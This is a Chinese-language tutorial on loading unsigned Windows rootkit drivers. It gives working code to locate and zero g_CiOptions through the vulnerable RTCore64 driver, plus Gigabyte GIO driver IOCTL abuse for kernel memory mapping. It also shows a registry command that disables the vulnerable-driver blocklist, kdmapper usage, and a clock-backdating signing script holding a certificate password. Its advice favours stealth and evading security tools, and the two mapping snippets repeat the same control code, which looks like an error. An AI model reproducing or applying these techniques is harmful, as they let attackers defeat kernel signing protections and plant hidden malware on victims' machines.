RootKit之驱动加载技术
字数 1098 2025-08-23 18:31:08

Windows RootKit驱动加载技术详解

前言

在Windows环境中加载驱动通常需要WHQL认证,但WHQL认证的高昂成本使其不适用于Rootkit开发。当微软发现驱动被恶意利用后会吊销证书,因此需要低成本的驱动加载方案。本文将详细介绍几种常见的驱动加载技术。

驱动白利用技术

驱动白利用类似于白加黑技术,利用WHQL认证驱动加载未认证的恶意驱动。

实现步骤

  1. 定位CI模块关键变量

    • 在用户态找到ci.dll中的g_CiOptions变量
    • 该变量控制驱动签名验证行为
  2. 获取CiInitialize函数地址

HMODULE hModule = LoadLibraryExA("C:\\Windows\\System32\\ci.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (hModule == 0) {
    return;
}
ULONG64 Address = (ULONG64)GetProcAddress(hModule, "CiInitialize");
  1. 定位CipInitialize函数
for (size_t i = 0; i < 0x200; i++) {
    if ((*((BYTE*)Address) == 0x4C) && (*((BYTE*)Address + 1) == 0x8B) && (*((BYTE*)Address + 2) == 0xCB)) {
        printf("Address = %p \r\n", Address);
        break;
    }
    Address++;
}
Address = Address + 12;
ULONG offset = *((DWORD*)Address);
ULONG64 CipInitialize = Address + 4 + offset;
  1. 获取g_CiOptions偏移(不同系统偏移不同):
ULONG gOption_Value = (*(DWORD*)(CipInitialize + 0x1c));
ULONG64 gOption_NextLine = CipInitialize + 0x1c + 5;
DWORD64 g_op = (gOption_NextLine & ~(ULONGLONG)0xFFFFFFFF) + ((gOption_NextLine + gOption_Value) & (ULONGLONG)0xFFFFFFFF);
  1. 获取内核CI模块基址
DWORD64 GetCiBaseAdress() {
    HMODULE hModule = LoadLibraryA("ntdll.dll");
    Fun_NtQuerySystemInformation NtQuerySystemInformation = (Fun_NtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
    DWORD bufferSize = 0x1024;
    PVOID buffer = malloc(0x1024);
    NTSTATUS ntStatus = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)11, buffer, bufferSize, &bufferSize);
    if (ntStatus == 0xC0000004L) {
        free(buffer);
        buffer = malloc((SIZE_T)bufferSize);
        ntStatus = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)11, buffer, bufferSize, &bufferSize);
    }
    PRTL_PROCESS_MODULES pvModules = (PRTL_PROCESS_MODULES)buffer;
    for (size_t i = 0; i < pvModules->NumberOfModules; i++) {
        if (strstr((char*)pvModules->Modules[i].FullPathName, "CI.dll") != NULL) {
            return (DWORD64)(pvModules->Modules[i].ImageBase);
        }
    }
    return 0;
}
  1. 计算内核g_CiOptions地址
ULONG64 Kernel_option = GetCiBaseAdress() + (g_op - (ULONG64)hModule);
  1. 使用漏洞驱动修改该值(如RTCore64):
const auto Device = CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);
if (Device == INVALID_HANDLE_VALUE) {
    printf("[!] Unable to obtain a handle to the device object");
    return;
}
cout << ReadMemoryWORD(Device, Ci_gOptions) << endl;

g_CiOptions改为0可加载未签名驱动,加载完成后需改回6避免蓝屏。

技嘉驱动漏洞利用

技嘉驱动存在漏洞可被利用进行任意内存读写。

漏洞分析

  1. 驱动注册了设备\Device\GIO和派遣函数sub_12D10
  2. 控制码0xC3502800:在内核中申请物理内存
  3. 控制码0xC3502008:调用ZwUnmapViewOfSection取消内存映射
  4. 存在内存映射功能(在sub_11790函数中)

利用方法

  1. 定义结构体
typedef struct conn {
    ULONG type;
    ULONG size;
    ULONG64 Address;
    ULONG Flag;
    ULONG viewSize;
} CONN;
  1. 建立内存映射
ULONG64 Input = address;
ULONG64 Output[2] = { 0 };
ULONG returned = 0;
DeviceIoControl(hHandle, 0xC3502008, reinterpret_cast<LPVOID>(&Input), sizeof(Input), reinterpret_cast<LPVOID>(Output), sizeof(Output), &returned, NULL);
return Output[0];
  1. 取消内存映射
ULONG64 Input = address;
ULONG64 Output[2] = { 0 };
ULONG returned = 0;
DeviceIoControl(hHandle, 0xC3502008, reinterpret_cast<LPVOID>(&Input), sizeof(Input), reinterpret_cast<LPVOID>(Output), sizeof(Output), &returned, NULL);
return Output[0];

通过映射内存后修改g_CiOptions值即可绕过驱动签名验证。

内存映射技术

内存映射技术通过PE加载方式在内存中展开驱动并调用入口点,无需创建驱动对象。

实现工具

  1. kdmapper

    • GitHub项目:https://github.com/TheCruZ/kdmapper
    • Windows 22H2问题:iqvw64e.sys被拉黑
    • 解决方案:关闭黑名单校验
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CI\Config" /f /t REG_DWORD /v VulnerableDriverBlocklistEnable /d 0
    
  2. 替代方案

    • 使用nvaudio.sys:https://github.com/gmh5225/UCMapper

过期签名加载技术

利用过期签名加载驱动,通过临时修改系统时间实现。

实现步骤

  1. 签名驱动
@echo off
cd %~dp0
@if "x%1" EQU "x" (goto help) else (goto sign)
:help
@echo Usage: sign.bat filename
@echo Note: Original file will be overrided by the signed one, no backup
@goto :end
:sign
@echo Sign File %1
set message=%DATE%
date 2017.03.01
signtool.exe sign /v /ac CSC3-2010.crt /f current_cert.pfx /p nv1d1aRules /t "http://timestamp.digicert.com" %1
date %message%
:end
  1. 加载驱动
system("date 2017.03.01");
加载驱动();
system("date 时间改回来");

通信问题解决方案

内存映射驱动后无法创建符号链接时的隐蔽通信方式:

  1. 使用共享内存或管道通信
  2. 利用注册表或文件系统进行间接通信
  3. 通过Hook系统调用或API拦截实现隐蔽通信
  4. 使用网络套接字进行远程通信

总结

在实际环境中,内存映射方式最为隐蔽,不会产生落地文件也不会显示在驱动列表中。其他方式容易被安全工具检测。选择技术方案时应考虑目标环境的安全防护级别和持久化需求。

Windows RootKit驱动加载技术详解 前言 在Windows环境中加载驱动通常需要WHQL认证,但WHQL认证的高昂成本使其不适用于Rootkit开发。当微软发现驱动被恶意利用后会吊销证书,因此需要低成本的驱动加载方案。本文将详细介绍几种常见的驱动加载技术。 驱动白利用技术 驱动白利用类似于白加黑技术,利用WHQL认证驱动加载未认证的恶意驱动。 实现步骤 定位CI模块关键变量 : 在用户态找到 ci.dll 中的 g_CiOptions 变量 该变量控制驱动签名验证行为 获取CiInitialize函数地址 : 定位CipInitialize函数 : 获取g_ CiOptions偏移 (不同系统偏移不同): 获取内核CI模块基址 : 计算内核g_ CiOptions地址 : 使用漏洞驱动修改该值 (如RTCore64): 将 g_CiOptions 改为0可加载未签名驱动,加载完成后需改回6避免蓝屏。 技嘉驱动漏洞利用 技嘉驱动存在漏洞可被利用进行任意内存读写。 漏洞分析 驱动注册了设备 \Device\GIO 和派遣函数 sub_12D10 控制码 0xC3502800 :在内核中申请物理内存 控制码 0xC3502008 :调用 ZwUnmapViewOfSection 取消内存映射 存在内存映射功能(在 sub_11790 函数中) 利用方法 定义结构体 : 建立内存映射 : 取消内存映射 : 通过映射内存后修改 g_CiOptions 值即可绕过驱动签名验证。 内存映射技术 内存映射技术通过PE加载方式在内存中展开驱动并调用入口点,无需创建驱动对象。 实现工具 kdmapper : GitHub项目:https://github.com/TheCruZ/kdmapper Windows 22H2问题: iqvw64e.sys 被拉黑 解决方案:关闭黑名单校验 替代方案 : 使用 nvaudio.sys :https://github.com/gmh5225/UCMapper 过期签名加载技术 利用过期签名加载驱动,通过临时修改系统时间实现。 实现步骤 签名驱动 : 加载驱动 : 通信问题解决方案 内存映射驱动后无法创建符号链接时的隐蔽通信方式: 使用共享内存或管道通信 利用注册表或文件系统进行间接通信 通过Hook系统调用或API拦截实现隐蔽通信 使用网络套接字进行远程通信 总结 在实际环境中,内存映射方式最为隐蔽,不会产生落地文件也不会显示在驱动列表中。其他方式容易被安全工具检测。选择技术方案时应考虑目标环境的安全防护级别和持久化需求。